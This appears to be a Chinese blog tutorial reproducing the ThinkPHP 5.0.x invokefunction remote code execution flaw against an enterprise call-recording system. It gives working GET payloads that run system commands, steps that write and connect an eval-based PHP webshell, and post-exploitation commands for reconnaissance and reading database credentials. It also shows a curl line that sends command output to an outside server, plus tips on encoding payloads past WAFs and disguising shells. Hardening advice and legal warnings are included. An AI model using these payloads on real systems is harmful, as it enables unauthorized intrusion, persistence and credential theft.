ThinkPHP远程代码执行漏洞复现:从原理到企业级系统攻防实战

📅 2026/6/29 16:45:27
ThinkPHP远程代码执行漏洞复现:从原理到企业级系统攻防实战
1. 项目概述与背景最近在梳理一些企业级通信系统的历史漏洞时申瓯通信的在线录音管理系统进入了我的视野。这套系统在国内不少中小型呼叫中心、客服中心里都有部署主要用来录音、质检和话务管理。我手头正好有一个老版本的测试环境就想着把那个经典的ThinkPHP远程代码执行漏洞RCE的复现过程完整走一遍记录下从信息收集到最终getshell的每一个细节。这不仅仅是复现一个漏洞更是理解一套老旧但仍在服役的企业应用其安全防线是如何被层层击破的。对于做渗透测试、安全研究或者负责企业内网安全的同行来说这类案例的实操价值很高能帮你快速建立起对同类系统的攻击面认知和排查思路。这个漏洞的核心在于目标系统使用了存在已知安全缺陷的ThinkPHP框架版本。ThinkPHP作为国内早期非常流行的PHP开发框架其某些历史版本由于对用户输入过滤不严或路由解析存在缺陷导致了远程代码执行的风险。攻击者无需登录通过构造特定的HTTP请求就能在服务器上执行任意系统命令危害极大。复现这个漏洞我们需要模拟攻击者的视角一步步完成环境搭建、漏洞探测、利用链构造和权限维持。下面我就把整个踩坑和实操的过程毫无保留地分享出来。2. 环境搭建与目标分析2.1 目标系统与漏洞环境准备首先你得有一个靶标。我是在本地虚拟机里搭建的复现环境。申瓯通信在线录音管理系统的安装包相对好找但要注意我们需要的不是最新版而是那个存在漏洞的特定历史版本。通常这类系统的漏洞多集中于5.x或更早的ThinkPHP框架。我找到的是一个基于ThinkPHP 5.0.x版本构建的系统安装包。安装过程本身不复杂本质上就是一个PHPMySQL的Web应用。我用的是一台Windows Server 2012 R2的虚拟机配置了PHP 5.6与老版本ThinkPHP兼容性更好、Apache 2.4和MySQL 5.5。这里有个关键点PHP的配置需要允许register_argc_argv等一些可能被利用的参数并且为了模拟真实环境我关闭了错误提示display_errors Off这会给后续的漏洞验证增加一点难度但更贴近实战。把系统安装包解压到Web目录比如htdocs/sout按照安装向导配置数据库连接。安装成功后访问系统首页你能看到一个典型的录音管理后台登录界面。至此一个“活”的靶标就立起来了。我们的目标不是登录进去而是找到那个无需认证就能触发的漏洞入口。2.2 信息收集与漏洞点定位面对一个未知版本的系统第一步永远是信息收集。我习惯先用浏览器插件看看前端技术栈然后抓包分析请求。指纹识别访问系统任意页面查看HTTP响应头有时会泄露服务器和PHP版本。更直接的方法是尝试访问一些ThinkPHP的默认路径或特征文件比如/index.php?s/index/index/think或者查看页面HTML源码中是否包含thinkphp等关键字。我通过访问一个不存在的控制器触发了ThinkPHP的默认错误页面虽然错误信息被关闭但URL路由模式暴露了框架特征确认了它确实是ThinkPHP并且路由模式是PATH_INFO模式URL中带有s参数。版本探测确定是ThinkPHP后下一步是精确定位版本。历史漏洞往往对应特定版本号。我尝试了几个方法检查Composer文件如果存在composer.json可能直接写明topthink/framework: 5.0.24之类的信息。利用已知漏洞特征ThinkPHP某些版本的漏洞有独特的触发方式。例如一个经典的RCE漏洞利用链涉及\think\Request::input方法对变量名过滤不当导致代码注入。我可以构造一个简单的探测Payload通过观察服务器的响应如时间延迟、特定错误来判断漏洞是否存在及可能版本。例如发送一个包含?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]sleepvars[1][]5的请求如果服务器响应延迟了5秒说明invokefunction这个危险方法可能被调用漏洞存在风险极高。目录与文件扫描使用dirsearch或御剑等工具进行后台目录扫描有时能发现/thinkphp目录、/vendor目录里面的文件可能包含版本信息。经过一番探测我综合判断目标系统使用的ThinkPHP版本在5.0.10到5.0.24之间存在多个公开的RCE漏洞利用方式。这为我们后续的利用提供了基础。注意在真实授权测试中信息收集的力度和方式必须严格控制在授权范围内。未经授权的扫描和探测是违法行为。3. 漏洞原理深度解析3.1 ThinkPHP框架路由与请求处理机制要理解漏洞必须先明白ThinkPHP尤其是5.x版本如何处理请求。它采用了“控制器/操作/参数”的路由模式。默认情况下通过URL中的s参数来解析。例如/index.php?sindex/hello/name/world会被解析为执行index控制器下的hello方法并传入参数nameworld。关键点在于ThinkPHP为了开发便利提供了一种“变量覆盖”或“动态调用”的能力。比如通过请求参数可以间接指定要调用的类名、方法名和参数。这本是框架灵活性的体现但如果过滤不严就会成为致命弱点。漏洞往往出现在框架核心类如Request、App对用户传入的控制器名、方法名、命名空间等参数未做充分过滤导致攻击者可以注入恶意的类名和函数名最终实现代码执行。3.2 远程代码执行漏洞链构造以我复现时成功利用的一个典型漏洞链CVE-2018-20062 或相关变种为例其核心利用点在于think\App类的module方法。攻击者可以通过s参数传递一个精心构造的控制器路径。框架在解析时会尝试实例化这个控制器。如果控制器类名中包含命名空间分隔符\并且框架在拼接类名时未严格校验就可能实例化一个框架内部的、本不应通过URL访问的类。更进一步的利用是结合PHP的反射机制和回调函数。例如利用think\process\pipes\Windows类在Windows平台或think\model\Pivot类中的__destruct或__call魔术方法这些方法内部可能调用了call_user_func或system等函数。通过控制传入这些方法的参数就能执行系统命令。我复现的Payload结构大致如下/index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami这个URL的解析过程是sindex/\think\app/invokefunction让框架路由到\think\app类的invokefunction方法。注意这里的index/可能只是满足路由格式核心是\think\app这个类名被成功解析。functioncall_user_func_array作为参数传递给invokefunction方法指定要调用的函数是call_user_func_array。vars[0]systemvars[1][]whoami这是传递给call_user_func_array的参数数组。它意味着执行call_user_func_array(system, [whoami])最终在服务器上执行whoami命令。这个漏洞之所以危险是因为它完全在Web应用逻辑层实现不依赖操作系统或Web服务器如Apache、Nginx的特定配置漏洞只要ThinkPHP框架版本存在缺陷且Web目录有写权限用于写入Webshell攻击就能成功。4. 漏洞复现实操过程4.1 漏洞验证与初步利用环境就绪原理清晰接下来就是动手验证。我使用Burp Suite作为主要的测试工具。构造请求打开Burp Repeater模块将目标地址设为http://[靶机IP]/sout/public/index.php很多ThinkPHP应用入口在public目录。这里有个细节申瓯的系统可能直接放在根目录入口就是index.php需要根据实际情况调整。发送探测Payload我将上面提到的Payload放入请求的URL中GET或POST均可ThinkPHP通常都接收。GET /sout/public/index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][] HTTP/1.1 Host: 192.168.1.100如果漏洞存在服务器会执行phpinfo()函数并在响应体中返回完整的PHP配置信息页面。这是最直接的验证方式。我发送请求后果然在返回的HTML中看到了巨大的phpinfo表格漏洞确认执行系统命令验证了代码执行能力后下一步就是执行系统命令获取服务器信息。将Payload中的函数改为system。GET /sout/public/index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami HTTP/1.1发送请求查看响应体。在密密麻麻的页面代码中我找到了nt authority\systemWindows系统或www-dataLinux系统这样的字符串这说明命令执行成功并且当前Web服务运行权限很高通常是系统权限或管理员权限这非常危险。4.2 写入Webshell获取持久化访问执行单条命令还不够我们需要一个更稳定的后门也就是Webshell。目标是向网站可访问目录写入一个PHP文件。确认可写目录首先用命令确认权限。执行system(whoami /priv)或system(find / -type d -writable -name \*www*\ 2/dev/null | head -5)Linux找出Web根目录或临时目录。构造写文件Payload利用file_put_contents函数。这里需要处理引号和转义特别是在Windows下。我采用一种更稳妥的方式使用PHP的base64_decode。sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]shell.phpvars[1][]?php eval($_POST[cmd]);?但是直接在URL里传递?php ?这样的字符可能会被转义。更好的方法是sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]assertvars[1][]eval(base64_decode(QGV2YWwoJF9QT1NUWydjbWQnXSk7))其中QGV2YWwoJF9QT1NUWydjbWQnXSk7是eval($_POST[cmd]);的base64编码。但assert函数在某些高版本PHP中可能被禁用。我最終使用的是一种兼容性更好的方法直接拼接写文件命令...vars[0]systemvars[1][]echo ^?php eval($_POST[^cmd^])?^ shell.phpWindows下需要用^来转义特殊字符,,。发送请求后访问http://[靶机IP]/sout/public/shell.php如果返回空白页没有报错很可能就写成功了。连接Webshell使用中国菜刀、蚁剑或Cobalt Strike的Webshell连接功能。我习惯用蚁剑因为它有图形化界面文件管理、终端模拟、数据库管理等功能都很方便。在蚁剑中添加数据URL填写http://[靶机IP]/sout/public/shell.php连接密码填写cmd对应我们Webshell中的$_POST[cmd]编码器一般选defaultbase64。点击连接如果成功左侧就会列出服务器的目录结构。至此我们已经拿到了该Web应用服务器的控制权。4.3 权限提升与内网渗透试探拿到Webshell只是第一步。在真实的攻防演练或渗透测试中我们会以此为基础进行信息收集和横向移动。服务器信息收集通过Webshell的虚拟终端执行命令收集信息。systeminfo查看系统详细配置、补丁情况。net user/net localgroup administrators查看用户和管理员组。ipconfig /all或ifconfig查看网络配置发现内网IP段。netstat -ano查看网络连接发现数据库、其他服务的连接信息。tasklist或ps aux查看进程列表。数据库连接信息获取申瓯录音管理系统必然连接数据库。在Web目录下寻找配置文件如config/database.php、application/database.php或conf/config.php。通过蚁剑的文件管理功能找到这些文件下载查看就能得到数据库的IP、端口、用户名和密码。这个密码很可能在服务器其他应用或系统中重复使用。尝试权限提升如果当前是www-data或iis apppool\defaultapppool等较低权限可以尝试利用系统未打补丁的本地提权漏洞如Windows的Juicy Potato、Linux的脏牛漏洞或者检查是否有弱口令、可读写的服务配置文件等。在我的测试环境中因为是独立虚拟机这一步主要是演示流程未做深入。实操心得写入Webshell时路径非常关键。一定要写入到Web服务器如Apache、IIS、Nginx配置的根目录或虚拟目录下否则无法通过HTTP访问。最好先echo一个测试文件到疑似目录再通过浏览器访问测试。另外写入的文件名尽量隐蔽可以混入正常文件名中或者使用.php.jpg等带有双重后缀的文件需服务器解析配置存在缺陷。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。针对这个案例可以从多个层面进行加固。5.1 紧急修复措施如果企业正在使用受影响的申瓯通信录音管理系统或类似的老旧ThinkPHP应用应立即采取以下措施升级框架这是最根本的解决方案。联系厂商获取安全版本或将ThinkPHP框架升级到官方已修复该漏洞的最新稳定版如ThinkPHP 5.0.x系列应升级至最终安全版本或考虑升级到6.0、8.0版本。升级前务必在测试环境充分验证因为框架大版本升级可能导致业务代码不兼容。临时补丁如果无法立即升级可以尝试手动修补。查找漏洞利用的关键入口点例如think\App类的module方法或invokefunction方法在项目入口文件或公共函数文件中添加对控制器名、函数名的严格白名单过滤禁止传入包含\、think等关键字的类名。但这种方法只能针对已知利用方式且可能被绕过属于临时应急。删除危险方法检查并确保生产环境中think\app类的invokefunction方法已被移除或禁用。在ThinkPHP的安全版本中此类危险方法通常已被删除或做了严格限制。5.2 长期安全加固策略单点修补不够需要建立纵深防御体系。Web应用防火墙在应用前端部署WAF配置规则拦截包含think\app、invokefunction、call_user_func等关键字的异常请求。虽然攻击者可能通过编码绕过但能阻挡大部分自动化攻击脚本。最小权限原则运行Web服务的操作系统账户如www-data、IIS_IUSRS应遵循最小权限原则。严格限制其对Web根目录的写入权限非必要目录设置为只读。数据库连接账户使用低权限账号只赋予特定库的增删改查权限而非root或sa。输入验证与过滤在业务代码层面对所有用户输入进行严格的验证和过滤。不仅限于SQL注入对于文件路径、函数名、类名等参数要采用白名单机制。定期安全评估与漏洞扫描对线上系统定期进行安全漏洞扫描和渗透测试特别是对第三方组件和框架的版本进行梳理及时更新存在已知漏洞的库。日志审计与监控开启Web服务器和PHP的错误日志、访问日志。监控日志中是否存在大量404错误探测路径、包含特殊字符串的请求攻击Payload。设置告警机制对异常访问行为及时报警。6. 常见问题与排查技巧实录在复现和后续的测试中我遇到了不少坑这里总结一下大家遇到类似问题可以快速排查。6.1 漏洞利用不成功可能的原因问题现象可能原因排查思路与解决方案发送Payload后返回空白页或500错误1. ThinkPHP版本不对漏洞已修复。2. PHP配置禁用了一些危险函数如assert,system,shell_exec。3. 目标URL路径不对未找到真正的入口文件。1. 重新进行指纹识别和版本探测尝试其他已知的ThinkPHP RCE Payload。2. 尝试使用未禁用的函数如phpinfo()、scandir()来验证代码执行。使用var_dump(function_exists(system))检查函数是否可用。3. 使用目录扫描工具寻找index.php、admin.php等其他入口或尝试在URL后添加/public/。命令执行了但无回显1.system()等函数输出被关闭或重定向。2. 命令本身执行失败。1. 尝试将命令输出写入文件system(whoami C:/test.txt)然后访问该文件查看。2. 使用能直接返回结果的函数如echo shell_exec(whoami);。3. 使用DNSLog或HTTP请求外带数据system(curl http://your-server/?flagwhoami)。可以执行phpinfo但无法写文件Web服务进程对目标目录没有写权限。1. 换一个目录尝试如系统的临时目录C:\Windows\Temp\或/tmp/。2. 先使用system(whoami)和system(icacls C:\path\to\web)Windows或ls -la /path/to/webLinux查看当前用户和目录权限。使用蚁剑/菜刀连接Webshell失败1. Webshell文件未成功写入或路径错误。2. 连接密码不对。3. 流量被WAF或安全软件拦截。1. 通过漏洞再次执行命令确认文件是否存在system(dir shell.php)。2. 直接浏览器访问Webshell地址如果显示空白或代码说明文件存在且可访问。检查POST参数名是否与Webshell代码中的$_POST[‘xxx’]一致。3. 尝试使用编码器如base64或加密Webshell流量。在蚁剑中更换不同的编码器尝试连接。6.2 实战中的技巧与注意事项Payload编码与变形直接使用明文Payload容易被简单的WAF规则拦截。可以尝试对Payload进行URL编码、双重URL编码、Hex编码等。例如将system编码为%73%79%73%74%65%6d。ThinkPHP在解析时会自动解码一次可以绕过一些简单的字符串匹配。寻找多个利用点不要只依赖一个Payload。ThinkPHP历史版本漏洞利用方式多样除了invokefunction还有通过\think\Cache、\think\Log等类进行反序列化利用的链。多准备几个Payload交替尝试。环境差异性Windows和Linux系统的命令语法、路径分隔符\和/、权限体系完全不同。写Payload时必须考虑目标系统。例如在Windows下写文件路径最好用双引号包裹且注意转义。保持隐蔽在授权测试中也应尽量减少对目标系统的影响。避免使用rm -rf /或format C:等破坏性命令。写入的Webshell文件名和内容应尽量伪装测试完成后及时清理痕迹。法律与授权红线这是我反复强调的。所有漏洞复现和学习必须在自己完全可控的隔离环境虚拟机、VPS中进行。未经授权对任何非自有系统进行渗透测试无论目的如何都是违法行为后果严重。这次对申瓯通信系统漏洞的复现就像一次完整的安全攻防演练。从信息收集到漏洞利用再到权限维持和痕迹清理每一个环节都考验着对系统、网络和编程原理的理解。对于防守方而言了解攻击者的手法和思路是构建有效防御体系的前提。老旧系统并非一无是处但将其暴露在不可信的网络面前而不加任何防护无疑是将大门敞开。定期评估、及时更新、纵深防御才是应对此类历史遗留安全债的正道。